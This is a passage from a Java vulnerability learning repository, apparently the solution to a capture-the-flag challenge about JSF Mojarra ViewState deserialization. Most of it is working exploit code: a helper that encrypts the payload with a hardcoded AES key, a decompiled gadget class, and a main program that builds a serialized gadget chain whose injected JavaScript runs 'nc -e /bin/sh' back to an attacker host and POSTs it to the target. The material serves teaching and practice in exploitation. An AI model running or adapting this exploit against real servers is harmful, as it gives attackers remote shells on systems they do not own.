89 |
90 | 3. Send ViewState to server to trigger unserialize (src/ascisz.java line 73 to 84)
91 | ```
92 | String url = String.format("http://%s:%s/mojarra_war/editTeam.xhtml", rhost, rport);
93 | HttpURLConnection httpClient = (HttpURLConnection) new URL(url).openConnection();
94 | httpClient.setRequestMethod("POST");
95 |
96 | String urlParameters = "javax.faces.ViewState="+encodeValue(Base64.getEncoder().encodeToString(bytes));
97 |
98 | httpClient.setDoOutput(true);
99 | try (DataOutputStream wr = new DataOutputStream(httpClient.getOutputStream())) {
100 | wr.writeBytes(urlParameters);
101 | wr.flush();
102 | httpClient.getResponseCode();
103 | }
104 | ```
105 | = End =
106 |
--------------------------------------------------------------------------------
/challs/mojarra_war/solution/mojarra_sol.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/mojarra_war/solution/mojarra_sol.jar
--------------------------------------------------------------------------------
/challs/mojarra_war/solution/src/ByteArrayGuard.java:
--------------------------------------------------------------------------------
1 | import java.security.InvalidAlgorithmParameterException;
2 | import java.security.InvalidKeyException;
3 | import java.security.NoSuchAlgorithmException;
4 | import java.security.SecureRandom;
5 | import javax.crypto.BadPaddingException;
6 | import javax.crypto.Cipher;
7 | import javax.crypto.IllegalBlockSizeException;
8 | import javax.crypto.KeyGenerator;
9 | import javax.crypto.Mac;
10 | import javax.crypto.NoSuchPaddingException;
11 | import javax.crypto.SecretKey;
12 | import javax.crypto.spec.IvParameterSpec;
13 | import javax.crypto.spec.SecretKeySpec;
14 | import javax.xml.bind.DatatypeConverter;
15 |
16 | public final class ByteArrayGuard {
17 | private static final int MAC_LENGTH = 32;
18 | private static final int KEY_LENGTH = 128;
19 | private static final int IV_LENGTH = 16;
20 | private static final String KEY_ALGORITHM = "AES";
21 | private static final String CIPHER_CODE = "AES/CBC/PKCS5Padding";
22 | private static final String MAC_CODE = "HmacSHA256";
23 | private static final String SK_SESSION_KEY = "com.sun.faces.SK";
24 | private SecretKey sk;
25 |
26 | public ByteArrayGuard() {
27 | try {
28 | this.setupKeyAndMac();
29 | } catch (Exception var2) {
30 | }
31 | }
32 |
33 | public byte[] encrypt(byte[] bytes) {
34 | Object var3 = null;
35 |
36 | try {
37 | SecureRandom rand = new SecureRandom();
38 | byte[] iv = new byte[16];
39 | rand.nextBytes(iv);
40 | IvParameterSpec ivspec = new IvParameterSpec(iv);
41 | Cipher encryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
42 | SecretKey secKey = this.getSecretKey();
43 | encryptCipher.init(1, secKey, ivspec);
44 | Mac encryptMac = Mac.getInstance("HmacSHA256");
45 | encryptMac.init(secKey);
46 | encryptMac.update(iv);
47 | byte[] encdata = encryptCipher.doFinal(bytes);
48 | byte[] macBytes = encryptMac.doFinal(encdata);
49 | byte[] tmp = concatBytes(macBytes, iv);
50 | byte[] securedata = concatBytes(tmp, encdata);
51 | return securedata;
52 | } catch (NoSuchPaddingException | InvalidKeyException | InvalidAlgorithmParameterException | IllegalStateException | IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException var13) {
53 |
54 |
55 | return null;
56 | }
57 | }
58 |
59 | public byte[] decrypt(byte[] bytes) {
60 | try {
61 | byte[] macBytes = new byte[32];
62 | System.arraycopy(bytes, 0, macBytes, 0, macBytes.length);
63 | byte[] iv = new byte[16];
64 | System.arraycopy(bytes, macBytes.length, iv, 0, iv.length);
65 | byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];
66 | System.arraycopy(bytes, macBytes.length + iv.length, encdata, 0, encdata.length);
67 | IvParameterSpec ivspec = new IvParameterSpec(iv);
68 | SecretKey secKey = this.getSecretKey();
69 | Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
70 | decryptCipher.init(2, secKey, ivspec);
71 | Mac decryptMac = Mac.getInstance("HmacSHA256");
72 | decryptMac.init(secKey);
73 | decryptMac.update(iv);
74 | decryptMac.update(encdata);
75 | byte[] macBytesCalculated = decryptMac.doFinal();
76 | if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {
77 | byte[] plaindata = decryptCipher.doFinal(encdata);
78 | return plaindata;
79 | } else {
80 | System.err.println("ERROR: MAC did not verify!");
81 | return null;
82 | }
83 | } catch (NoSuchPaddingException | InvalidKeyException | InvalidAlgorithmParameterException | IllegalStateException | IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException var12) {
84 | System.err.println("ERROR: Decrypting:" + var12.getCause());
85 | return null;
86 | }
87 | }
88 |
89 | private boolean areArrayEqualsConstantTime(byte[] array1, byte[] array2) {
90 | boolean result = true;
91 |
92 | for(int i = 0; i < array1.length; ++i) {
93 | if (array1[i] != array2[i]) {
94 | result = false;
95 | }
96 | }
97 |
98 | return result;
99 | }
100 |
101 | private void setupKeyAndMac() {
102 | try {
103 | String encodedKeyArray = "ZmluZF90aGVfa2V5X3Bscw==";
104 | byte[] keyArray = DatatypeConverter.parseBase64Binary(encodedKeyArray);
105 | this.sk = new SecretKeySpec(keyArray, "AES");
106 | } catch (Exception var5) {
107 | }
108 |
109 | if (this.sk == null) {
110 | try {
111 | KeyGenerator kg = KeyGenerator.getInstance("AES");
112 | kg.init(128);
113 | this.sk = kg.generateKey();
114 | } catch (Exception var4) {
115 |
116 | }
117 | }
118 |
119 | }
120 |
121 | private static byte[] concatBytes(byte[] array1, byte[] array2) {
122 | byte[] cBytes = new byte[array1.length + array2.length];
123 |
124 | try {
125 | System.arraycopy(array1, 0, cBytes, 0, array1.length);
126 | System.arraycopy(array2, 0, cBytes, array1.length, array2.length);
127 | return cBytes;
128 | } catch (Exception e) {
129 | e.printStackTrace();
130 | }
131 | return cBytes;
132 | }
133 |
134 | private SecretKey getSecretKey() {
135 | SecretKey result = this.sk;
136 | return result;
137 | }
138 |
139 | }
140 |
--------------------------------------------------------------------------------
/challs/mojarra_war/solution/src/TeamBean.java:
--------------------------------------------------------------------------------
1 | //
2 | // Source code recreated from a .class file by IntelliJ IDEA
3 | // (powered by FernFlower decompiler)
4 | //
5 | package ascis;
6 |
7 | import java.io.Serializable;
8 | import java.util.ArrayList;
9 | import javax.script.ScriptEngine;
10 | import javax.script.ScriptEngineManager;
11 | import javax.script.ScriptException;
12 |
13 |
14 | public class TeamBean implements Serializable {
15 | private static final long serialVersionUID = -1333713373713373737L;
16 | private int team_id;
17 | private String team_name;
18 | private String team_country;
19 | private boolean team_secret_status = false;
20 | private String team_secret_message;
21 | private String template = "var message = \"SECRET MESSAGE WAS LEAKED! \";";
22 | public ArrayList teamsListFromDB;
23 |
24 | public TeamBean() {
25 | }
26 |
27 | public int getTeam_id() {
28 | return this.team_id;
29 | }
30 |
31 | public void setTeam_id(int team_id) {
32 | this.team_id = team_id;
33 | }
34 |
35 | public String getTeam_name() {
36 | return this.team_name;
37 | }
38 |
39 | public void setTeam_name(String team_name) {
40 | this.team_name = team_name;
41 | }
42 |
43 | public String getTeam_country() {
44 | return this.team_country;
45 | }
46 |
47 | public void setTeam_country(String team_country) {
48 | this.team_country = team_country;
49 | }
50 |
51 | public Boolean getTeam_secret_status() {
52 | return this.team_secret_status;
53 | }
54 |
55 | public void setTeam_secret_status(Boolean team_secret_status) {
56 | this.team_secret_status = team_secret_status;
57 | }
58 |
59 | public String getTeam_secret_message() {
60 | return this.team_secret_message;
61 | }
62 |
63 | public void setTeam_secret_message(String team_secret_message) {
64 | this.team_secret_message = team_secret_message;
65 | }
66 |
67 | public String toString() {
68 | if (this.getTeam_secret_status()) {
69 | try {
70 | ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
71 | ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("JavaScript");
72 | scriptEngine.eval(this.template);
73 | return (String)scriptEngine.get("message") + this.getTeamSecretMessage(this.team_id);
74 | } catch (ScriptException var3) {
75 | var3.printStackTrace();
76 | return "";
77 | }
78 | } else {
79 | return "SECRET MESSAGE STILL FINE !";
80 | }
81 | }
82 |
83 | public String getTeamSecretMessage(int teamID) {
84 | TeamBean team = new TeamBean();
85 | return team != null ? team.getTeam_secret_message() : "";
86 | }
87 | }
88 |
--------------------------------------------------------------------------------
/challs/mojarra_war/solution/src/ascisz.java:
--------------------------------------------------------------------------------
1 | import javax.management.BadAttributeValueExpException;
2 | import java.io.*;
3 | import java.lang.reflect.Field;
4 | import java.util.Base64;
5 | import java.util.zip.GZIPOutputStream;
6 | import java.net.HttpURLConnection;
7 | import java.net.URL;
8 | import java.net.URLEncoder;
9 | import java.nio.charset.StandardCharsets;
10 | import ascis.TeamBean;
11 |
12 | // Encrypt: Serialize -> GZIP -> Enc -> Base64 [ViewState]
13 | // Decrypt: [ViewState] Base64 -> Dec -> GZIP -> Serialize
14 | public class ascisz {
15 | private static String encodeValue(String value) {
16 | try {
17 | return URLEncoder.encode(value, StandardCharsets.UTF_8.toString());
18 | } catch (UnsupportedEncodingException ex) {
19 | throw new RuntimeException(ex.getCause());
20 | }
21 | }
22 | public static void main(String[] args) throws Exception {
23 | if (args.length != 4 ) {
24 | System.out.println("Usage: java -jar mojarra_sol.jar ");
25 | System.exit(0);
26 | }
27 | String rhost = args[0];
28 | String rport = args[1];
29 | String lhost = args[2];
30 | String lport = args[3];
31 | TeamBean team = new TeamBean();
32 | String payload = "var message = \"tsudepzai\";"+
33 | String.format("var lhost = \"%s\";",lhost) +
34 | String.format("var lport = \"%s\";",lport) +
35 | "p = new java.lang.ProcessBuilder();"+
36 | "p.command(\"nc\",\"-e\",\"/bin/sh\", lhost, lport);"+
37 | "p.start();";
38 | // Set team_secret_status true
39 | Field team_secret_status = team.getClass().getDeclaredField("team_secret_status");
40 | team_secret_status.setAccessible(true);
41 | team_secret_status.set(team, true);
42 |
43 | // Set payload eval
44 | Field template = team.getClass().getDeclaredField("template");
45 | template.setAccessible(true);
46 | template.set(team, payload);
47 |
48 | // gadget BadAttributeValueExpException.readObject() -> TeamBean.toString()
49 | BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
50 | Field val = bad.getClass().getDeclaredField("val");
51 | val.setAccessible(true);
52 | val.set(bad, team);
53 |
54 | // Encrypt: Serialize Obj -> GZIP -> Enc -> Base64 [ViewState]
55 | ByteArrayGuard guard = new ByteArrayGuard();
56 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
57 | ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
58 | outputStream.writeObject(bad);
59 | outputStream.close();
60 |
61 | ByteArrayOutputStream byteArrayOutputStreamGzip = new ByteArrayOutputStream();
62 |
63 | GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStreamGzip);
64 | gzipOutputStream.write(byteArrayOutputStream.toByteArray());
65 | gzipOutputStream.close();
66 |
67 | byte[] bytes = byteArrayOutputStreamGzip.toByteArray();
68 | bytes = guard.encrypt(bytes);
69 |
70 | //System.out.println(Base64.getEncoder().encodeToString(bytes));
71 |
72 | // Exploit
73 | String url = String.format("http://%s:%s/mojarra_war/editTeam.xhtml", rhost, rport);
74 | HttpURLConnection httpClient = (HttpURLConnection) new URL(url).openConnection();
75 | httpClient.setRequestMethod("POST");
76 |
77 | String urlParameters = "javax.faces.ViewState="+encodeValue(Base64.getEncoder().encodeToString(bytes));
78 |
79 | httpClient.setDoOutput(true);
80 | try (DataOutputStream wr = new DataOutputStream(httpClient.getOutputStream())) {
81 | wr.writeBytes(urlParameters);
82 | wr.flush();
83 | httpClient.getResponseCode();
84 | }
85 | }
86 | }
87 |
88 |
--------------------------------------------------------------------------------